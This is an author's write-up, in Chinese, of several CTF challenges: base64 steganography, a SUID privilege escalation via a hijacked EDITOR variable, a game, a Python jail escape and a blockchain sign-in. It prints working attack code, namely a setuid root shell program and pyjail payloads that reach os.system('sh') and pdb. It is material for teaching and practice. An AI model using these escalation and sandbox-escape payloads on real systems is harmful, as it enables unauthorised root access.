写在前面

其实是叫?CTF,但是文件不能有?所以写成QCTF了。

第一次出题,总的来说还是很值得纪念的,那我就贴上wp顺便写点碎碎念好了

可以看到序破Q终的顺序是参考了EVA大电影的顺序()。

附上一道生蚝✌的区块链,其实我觉得作为入门题来说出的挺好的,但是莫名其妙登上了差评榜,,

《关于我穿越到CTF的异世界这档事:序》

前言

这道题总的来说还是挺满意的,在出的时候我是想让新生更多的了解base的原理,实际上还是有很多解法的。

就我了解的新生而言我发现有人直接爆破了base字母表的顺序也能做,毕竟只有base8而已吧。没事,至少这样也能让新生了解到base,我的目的也算是达成了。

题解

打开发现两个文件,一个alphabet.txt,一个base8.txt.

第一个明显提示了我们是字母表,第二个应该就是base8编码过的了。

打开发现又很多base64的句子(这里有个出题人的小心思,故意只用一句话来方便我们观察有何不同 )

cyberchef可以发现

1762507793499

The key has never been far away; it lies peacefully within the text itself.

解读一下这句话的意思就可以发现key(字母表)就在这些文本之中,那能藏在哪里呢?

这时候就要介绍一下base隐写了:

1762507827626

看一下这张图,是字母’A’被base64编码的情况,编码成了QQ==,A的ascii码是65,转化成二进制则是:01000001那base64是怎么编码的呢?实际上是将这些二进制按 3 字节(24 位)分组(不足补 0),然后拆分为 6 位,再查一下base64的字母表映射得到的编码。

例如:A是01000001,只有 8 位,需要补足成 6 的倍数,于是便补了两个 8 位,变成 3 x 8 = 4 x 6,然后前六位010000对应字母表的’Q’,于是编码成了Q。这样就可以顺利编码了。

于是我们也可以发现:第二个’Q’的后四位0000实际上是补足之后的得到的,并不影响转换。实际上我们改成010001也不会影响结果。

于是我们便可以在这里隐写二进制数据了。

这就是base64隐写了,解密的话我们可以自己写脚本。

参考脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
import base64
def get_diff(s1, s2):
base64chars = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/'
res = 0
for i in range(len(s2)):
if s1[i] != s2[i]:
return abs(base64chars.index(s1[i]) - base64chars.index(s2[i]))
return res

def b64_stego_decode():
file = open("alphabet.txt","rb")
x = '' # x即bin_str
lines = file.readlines()
for line in lines:
l = str(line, encoding = "utf-8")
stego = l.replace('\n','')
#print(stego)
realtext = base64.b64decode(l)
#print(realtext)
realtext = str(base64.b64encode(realtext),encoding = "utf-8")
#print(realtext)
diff = get_diff(stego, realtext) # diff为隐写字串与实际字串的二进制差值
n = stego.count('=')
if diff:
x += bin(diff)[2:].zfill(n*2)
else:
x += '0' * n*2

i = 0
flag = ''
while i < len(x):
if int(x[i:i+8],2):
flag += chr(int(x[i:i+8],2))
i += 8
print(flag)

if __name__ == '__main__':
b64_stego_decode()

运行之后得到 ?CTFmisc

这个编码表解一下base8(网站:https://try8.cn/tool/code/base8),

1762507856991

这一步可以网上找网站解码,如果能自己写脚本解是最好的。

参考脚本:

1
2
3
4
5
6
7
8
9
10
11
def base8_custom_decode(cipher_text, alphabet):
mapping = {ch: i for i, ch in enumerate(alphabet)}
bits = ''.join(f"{mapping[ch]:03b}" for ch in cipher_text if ch in mapping)
bytes_list = [int(bits[i:i+8], 2) for i in range(0, len(bits), 8) if len(bits[i:i+8]) == 8]
return bytes(bytes_list).decode(errors="ignore")

if __name__ == "__main__":
alphabet = input("请输入字母表:\n")
cipher = input("请输入密文:\n")
result = base8_custom_decode(cipher, alphabet)
print("解密结果:", result)

1762507898260

最后base64解码得到flag:

1762508027656

flag{Th3_Pr1nc1pl3_0f_Base_1s_S0_Ezz}

《关于我穿越到CTF的异世界这档事:破》

前言

这道题也算是我的一个小心愿吧。之前ACTF有一道也算是环境变量提权,我做到那就卡住了,然后还有一次国外的不知名小比赛上也有linux提权,明明很简单但我还是没做出来。

于是趁着这次机会想考察一下misc不那么主流(?)的知识点,linux提权。

题解

先利用tabby,ssh连接到靶机(不会的可以看看我的博客:https://metaviii.github.io/2024/12/awd%E5%88%9D%E4%BD%93%E9%AA%8C/)

连接上之后先ls一下发现有一个note,提醒我们SUID提权。

既然是SUID了,那我们找一下有哪些root的程序

find / -user root -perm -4000 -print 2>/dev/null

find / -perm -u=s -type f 2>/dev/null

find / -user root -perm -4000 -exec ls -ldb {} ;

三条命令都可以找到SUID的程序

1762508144390

发现一个奇怪的程序:editnote,这个不是系统自带的,应该就是我们提权的入口了。

提取文件的话tabby可以sftp,也就是右上角可以直接提取,如果没有tabby的话,可以用scp,rsync等。

提取出来file一下发现是elf文件

1762508165076

然后我们放IDA里F5分析一下,看到源代码:

1762508185795

整个程序主要是利用execlp来进行的,先从环境变量中获取EDITOR的值。不存在的话就打开vi编辑器,如果存在的话就用这个作为默认编辑器来执行。

这个EDITOR是所有用户都可以编辑的,也就是说我们可以挟持掉这个环境变量,让它执行我们想要的程序。

那怎么编写代码来提权呢?这个代码有哪些函数呢?

我们想反弹一个shell,就要用到/bin/sh

我们想提权到root的话可以用到setgid(0); setuid(0);,这个加上主要是为了确保是root,不加这个的话很可能会提权不成。

然后就差不多了。

可以得到代码:

1
2
3
4
5
6
7
8
9
cat > /tmp/evil.c <<'EOF'
#include <unistd.h>
int main() {
setgid(0);
setuid(0);
execl("/bin/sh", "sh", NULL);
return 0;
}
EOF

这个即使我们初步的提权的代码了。

然后我们编译一下,加个可执行权限:

1
2
gcc -o /tmp/evil /tmp/evil.c
chmod +x /tmp/evil

然后就是挟持EDITOR环境变量了:

1
export EDITOR=/tmp/evil

挟持完直接运行这个editnote即可:

1
./usr/local/bin/editnote

就能发现自己是root了,拿到flag。

1762508218042

《关于我穿越到CTF的异世界这档事:Q》

前言

这道题也算是玩出新花样了,做这个游戏耗费了我一周半到两周左右的时间,明明东西不多而且跟着类似教程做还是弄了好久,在此感谢我的协力,也是我的室友:超级小马。

这道题的解法远比想象的多,在此列举几种:

1.正常打通游戏。

2.使用string,010等搜索出一些flag。

3.使用re的方法,解包这个exe

4.CheatEngine,作弊大师

5.修改存档位置数据。

其实这些方法都测出来了,但是没堵上吧,感觉misc多解才算比较好玩。

题解

作为一道游戏题,本质上是不想难为大家的,只要你愿意花时间做,应该都是能做出来的。

flag1

1762508338944

flag2

1762508374078

flag3

1762508394283

flag4

1762508419204

flag5

1762508458804

flag6

1762508477937

所以最后总结起来就是:

flag1:ZmxhZ3tZMHV

flag2:fQHJlX1

flag3:JlQDExeV9

flag4:BX0cwMGR

flag5:fR0FNRV

flag6:IhISF9

拼接在一起:ZmxhZ3tZMHVfQHJlX1JlQDExeV9BX0cwMGRfR0FNRVIhISF9

最后转base64得到flag

1762508516203

或者有人就要说了,主播我打不过去怎么办,当然解法还是很多的。

你可以直接010搜索flag串

1762508538966

当然我的flag2和4是搜不了的,建议这里手打(就是防止搜的太快了)。

《关于我穿越到CTF的异世界这档事:终》

前言

w4的题目一定要上点难度,但是我没有啥出的好的难题的想法,正好Ayan0学pyjail的而且也想出,于是就让给他了。

绝对不是我想偷懒!

这样的话w2是提权,w3是游戏,w4是pyjail,都不是传统misc呢

题解

灵感来源于jailCTF2025的primal

贴一下源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
#!/usr/bin/env python3
import re

def prime_check(n: int) -> bool:
if n < 2:
return False
for i in range(2, n):
if n % i == 0:
return False
return True

ALLOWED = "abcdefghij0klmnopqrstuvwxyz:_.[]()<=,'"
print("Welcome to the Null Jail.想过我这关拿到flag?你得先告诉我口令")
user_src = input("Tell me the Password: ")
filtered = ''.join(ch for ch in user_src if ch in ALLOWED)

if (
len(filtered) > 150
or not filtered.isascii()
or "eta" in filtered
or filtered.count("(") > 3
):
print("没这么长,我看你是一点不懂哦")
raise SystemExit

for m in re.finditer(r"\w+", filtered):
if not prime_check(len(m.group(0))):
print("这家伙在说什么呢...")
raise SystemExit

eval(filtered, {'__builtins__': {}})

主要的限制就是no builtins 和一切变量名/数值/带_的字符的长度需要是素数

首先no builtins基本就只能从现有的基本内置类型找突破口了

在数字受限的情况下可以找到reduce_ex这个方法(因为正常的继承链比如subclasses这些肯定用不了,能用的函数索引40往上走,用位运算很难控制),这个方法类似于reduce,但是它可以通过控制协议来返回一个描述如何重建一个对象的元组

而我们的[],{},’’一般会存在一个newobj的方法用于Unpickle

这个newobj方法可以访问到全局的builtins(dir一下),后面就是经典的套路也不多赘述

那么就可以得到一个payload

1
[].__reduce_ex__(2)[0].__globals__['__builtins__']['__import__']('os').system('sh')

本地测试一下可以成功执行

接着由于我们只有一个0,在__reduce_ex__我们想要控制协议版本>=2(低版本不支持内建类型的unpickling)

所以给了位运算符来拿到2,由于在python中bool和int是可以运算的

那么就会想到用0==0来构造出1,左移1位就是2

1
a=0==0,b=a<<a,[].__reduce_ex__(b)[0].__globals__['__builtins__']['__import__']('os').system('sh')

但是本地测试就会发现

1762508639744

因为在eval中是不支持赋值的,所以要用海象运算符:=来进行替换,并且有了海象表达式要用[]包裹一下,才可以被解析位为一个合法的表达式

至于海象运算符是什么就麻烦各位师傅自行去了解了,这里不展开

接下来就是解决名称质数的问题

这里其实师傅们自己调试一下很快就可以出来,先把字符串和变量名处理一下,会发现system用不了了

1
[ai:=0==0,bi:=ai<<ai,[].__reduce_ex__(bi)[0].__globals__['__built''ins__']['__imp''ort__']('os').system('sh')]

如果换popen需要多两个括号,不符合要求,再找找有没有其他可利用的函数

一顿搜可以看到我们的builtins里面是有一些调试函数的

例如breaklpoint() help()(其实license()也可以利用,但是没这两个短)

尝试后发现breakpoint()会报错

1
KeyError: '__import__'

这是由于它会隐式的调用__import__并且执行时当时的builtins使用的还是沙箱的builtins,需要获取到builtins后再覆盖__builtins__,但是这里素数长度这关就过不去了

最后自行调试一下可以调整0的个数(python里面都会被解析为0),就可以成功打穿

help命令

1
[bi:=00==000,ci:=bi<<bi,[].__reduce_ex__(ci)[00].__globals__['__built''ins__']['he''lp']()]

进入pdb模式:

1
[bi:=00==000,ci:=bi<<bi,[].__reduce_ex__(ci)[00].__globals__['__built''ins__']['__imp''ort__']('pdb').run('asd')]

但是这里由于起不了more,内容都会一次性输出,所以只能pdb

pdb之后就可以import,读flag了

1
2
3
4
5
import os
os.system
os.system('sh')
cd /
cat flag

本周的签到

前言

当然这道题不是我出的,是生蚝出的,姑且作为我出的第一道区块链还是值得记录在此的。

题解

拿到nc连接我们先连一下

1761122412209

提示我们打0.001eth到部署者的账户上,题目中给了水龙头,直接打到账户上就行

1761122477184

打上去了之后我们部署一下合约

1761123168109

给了地址和哈希

1
2
[+] contract address: 0xb21ac007490353943df40285aa2e5fa6559E87eA
[+] transaction hash: 0xb191c15c80e4b8ea51199481c8688c17bb05597178740ae9131b6e2e09eccadd

这个地址就是合约的地址。

当然首先我们要先读一下源码,一会方便部署remix

1761122626044

拿到源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
// SPDX-License-Identifier: MIT
pragma solidity 0.8;

contract QuestionCTFSignin {
string private message;
string private secret;

constructor(string memory _secret) {
secret = _secret;
}

function getMessage() public view returns (string memory) {
return message;
}

function setMessage(string memory _message) public {
message = _message;
}

function isSolved() public view returns (bool) {
return keccak256(abi.encodePacked(secret)) == keccak256(abi.encodePacked(message));
}
}

接下来我们读取一下链ID,方便添加网络

1
2
3
4
5
from web3 import Web3

w3 = Web3(Web3.HTTPProvider('http://challenge.ilovectf.cn:8545/'))

print(f"Chain ID: {w3.eth.chain_id}")

得到:Chain ID: 19992

然后切换一下自己metamask的网络,点击左上角,添加自定义网络,看到:

1761117986145

网络名称:随意

RPC:http://challenge.ilovectf.cn:8545/

链ID:19992

货币符号:ETH

URL:不填

保存即可。

然后我们打开remix:Remix - Ethereum IDE

新建一个Example.sol文件,把源码复制进去,点compile,环境选择Inject Provider - MetaMask,账户一定是自己新建的那个网络下的账户(如果账户没钱的话就用题目的水龙头打点钱就行)

之后填入at address,我这里是0xb21ac007490353943df40285aa2e5fa6559E87eA,点at address,就能看到

1761123145848

这个样子。

这道题是要我们传入一个message,使得这个message和secret的值一样,这样的话issolved()就会为true。

那我们怎么读取secret的值呢?

[!NOTE]

secret 在合约里声明为 string private secret;,并且它是第二个声明变量(第一个是 message)。

Solidity 存储规则:

  • 对于 string(动态类型):
    • 合约 storage 的该 slot(slot index)存放的是:如果数据短小(<32字节),可能会打包到 slot里;否则 slot 存放数据长度和/或指针,实际字节数据存放在 keccak256(slot) 开始的后续槽里。

在你的合约中:

  • message 是第 0 个变量 → slot0
  • secret 是第 1 个变量 → slot1

也就是说,我们需要读取slot1的值,编写python脚本

1
2
3
4
5
6
7
8
9
10
11
12
from web3 import Web3

w3 = Web3(Web3.HTTPProvider('http://challenge.ilovectf.cn:8545/'))
contract_address = '0xb21ac007490353943df40285aa2e5fa6559E87eA'

slot1_data = w3.eth.get_storage_at(contract_address, 1)
print(f"Slot 1: {slot1_data.hex()}")

length = slot1_data[-1] // 2
if length < 31:
secret = slot1_data[:length].decode('utf-8')
print(f"Secret: {secret}")

区块链上的所有数据都是公开的,private 只是把数据标记为只允许合约内部修改

Ethereum Storage - CTF Wiki详解Solidity合约数据存储布局 :: 以太坊技术与实现

其实读取slot也可以不用python脚本,可以用geth直接读取(这里参考了生蚝的wp)

1
2
3
4
❯ geth attach http://43.248.77.161:8545/

> eth.getStorageAt("0x69eda2589D4B6A6Bc2b745487E22288A384490dC",1)
"0x62316f636b436834694e5f744f5f4c3341726e00000000000000000000000026"

总之,得到secret:b1ockCh4iN_To_LE@RN

1761123436350

然后我们填入setMessage并点击,metaMask会跳出来确认交易,确认就行。

然后我们可以点点getMessage和isSolved的按钮(函数)来确认交易完成了。

1761123576866

可以看到isSolved为true了。然后我们nc读flag就行

1761123621208